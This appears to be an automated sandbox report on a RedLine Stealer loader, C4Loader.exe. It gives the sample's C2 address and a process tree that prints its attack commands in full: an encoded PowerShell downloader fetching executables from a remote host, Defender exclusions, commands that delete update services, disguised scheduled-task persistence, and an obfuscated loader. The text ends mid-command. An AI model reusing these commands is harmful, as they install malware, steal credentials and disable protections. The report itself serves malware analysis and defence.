Analysis

  • max time kernel
    35s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/11/2022, 08:37

General

  • Target
    C4Loader.exe
  • Size 126KB
  • Sample221107-kh6cssafcl
  • SHA256 4b8e43a1cee980394eb2845ea6657b376746b84b52bbd3d2ea062cbdfb292d5d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • 1

C2
  • 107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 3 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Stops running service(s) 3 TTPs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:980
      • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2044
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4312
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AcgBwACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAagBnAHQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaQBiAG4AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQBlAHAAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACwAIAA8ACMAZQB0AHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBlAHkAagAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBtAGcAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAKQA8ACMAZQB0AHMAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGQAZABuAHMALgBuAGUAdAAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAG4AZQB3ADIALgBlAHgAZQAnACwAIAA8ACMAcgBiAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBoAHAAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBsAGUAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBuAGUAdwAyAC4AZQB4AGUAJwApACkAPAAjAGYAaAB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBsAHAAcQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHkAcwBjACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAbQB0ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAG4AdABrACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAegB6AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB5AGgAbAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBtAHgAcgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcQB4AHoAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAagB0AG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAYwBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQA8ACMAaABxAGgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBnAGEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGIAawB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAGsAcgBwACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHYAbQByACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAZgBiAGIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdABmAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAaQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQA8ACMAYgBwAHMAIwA+AA=="
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2316
            • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
              "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
              5⤵
              • Executes dropped EXE
              PID:4556
            • C:\Users\Admin\AppData\Local\Temp\new2.exe
              "C:\Users\Admin\AppData\Local\Temp\new2.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1424
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                6⤵
                  PID:2332
              • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:1416
              • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                5⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Drops file in Drivers directory
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Drops file in Program Files directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:220
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2044 -s 268
            3⤵
            • Program crash
            PID:2432
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:380
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2396
          • C:\Windows\System32\sc.exe
            sc stop UsoSvc
            3⤵
            • Launches sc.exe
            PID:1236
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              4⤵
                PID:2788
            • C:\Windows\System32\sc.exe
              sc stop WaaSMedicSvc
              3⤵
              • Launches sc.exe
              PID:2900
            • C:\Windows\System32\sc.exe
              sc stop wuauserv
              3⤵
              • Launches sc.exe
              PID:3712
            • C:\Windows\System32\sc.exe
              sc stop bits
              3⤵
              • Launches sc.exe
              PID:1936
            • C:\Windows\System32\sc.exe
              sc stop dosvc
              3⤵
              • Launches sc.exe
              PID:4168
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
              3⤵
                PID:4004
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                3⤵
                  PID:3344
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                  3⤵
                  • Modifies security service
                  PID:5092
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                  3⤵
                    PID:4536
                  • C:\Windows\System32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                    3⤵
                      PID:3772
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nefucvtr#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2236
                  • C:\Windows\System32\dialer.exe
                    C:\Windows\System32\dialer.exe
                    2⤵
                      PID:392
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#waqsnj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "WindowsDefenderSmartScreenQC" } Else { "C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe" }
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of WriteProcessMemory
                      PID:5052
                      • C:\Windows\system32\schtasks.exe
                        "C:\Windows\system32\schtasks.exe" /run /tn WindowsDefenderSmartScreenQC
                        3⤵
                          PID:1908
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                        2⤵
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4384
                      • C:\Windows\System32\cmd.exe
                        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                        2⤵
                          PID:4380
                          • C:\Windows\System32\sc.exe
                            sc stop UsoSvc
                            3⤵
                            • Launches sc.exe
                            PID:2448
                          • C:\Windows\System32\sc.exe
                            sc stop WaaSMedicSvc
                            3⤵
                            • Launches sc.exe
                            PID:1676
                          • C:\Windows\System32\sc.exe
                            sc stop wuauserv
                            3⤵
                            • Launches sc.exe
                            PID:3320
                          • C:\Windows\System32\sc.exe
                            sc stop bits
                            3⤵
                            • Launches sc.exe
                            PID:4036
                          • C:\Windows\System32\sc.exe
                            sc stop dosvc
                            3⤵
                            • Launches sc.exe
                            PID:5068
                          • C:\Windows\System32\reg.exe
                            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                            3⤵
                              PID:4972
                            • C:\Windows\System32\reg.exe
                              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                              3⤵
                                PID:1388
                              • C:\Windows\System32\reg.exe
                                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                                3⤵
                                  PID:2212
                                • C:\Windows\System32\reg.exe
                                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                                  3⤵
                                    PID:2424
                                  • C:\Windows\System32\reg.exe
                                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                    3⤵
                                      PID:4584
                                  • C:\Windows\System32\dialer.exe
                                    C:\Windows\System32\dialer.exe ovyftblehadxh
                                    2⤵
                                      PID:3664
                                    • C:\Windows\System32\cmd.exe
                                      C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                                      2⤵
                                        PID:5036
                                      • C:\Windows\System32\cmd.exe
                                        C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                                        2⤵
                                          PID:1236
                                        • C:\Windows\System32\dialer.exe
                                          C:\Windows\System32\dialer.exe dazvaqbeggbsgujt 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
                                          2⤵
                                            PID:4004
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 2044 -ip 2044
                                          1⤵
                                            PID:4872
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                                            C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:psJNWpAQrYlv{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$QfVsiENQRBSjzA,[Parameter(Position=1)][Type]$RiCnzyrqQh)$MIoyNGutNKc=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+'l'+'e'+[Char](99)+''+'t'+'e'+'d'+''+[Char](68)+''+[Char](101)+'l'+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+'M'+''+[Char](101)+''+'m'+''+[Char](111)+'r'+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+'D'+''+'e'+''+'l'+'e'+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+'p'+[Char](101)+'',''+'C'+''+'l'+'a'+[Char](115)+'s'+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+''+'c'+',S'+'e'+''+'a'+''+[Char](108)+'ed'+','+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s'+[Char](44)+'A'+'u'+''+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$MIoyNGutNKc.DefineConstructor(''+[Char](82)+'T'+[Char](83)+'p'+'e'+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+'e'+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$QfVsiENQRBSjzA).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$MIoyNGutNKc.DefineMethod(''+[Char](73)+'n'+'v'+''+[Char](111)+''+[Char](107)+'e',''+[Char](80)+'u'+'b'+''+'l'+''+[Char](105)+'c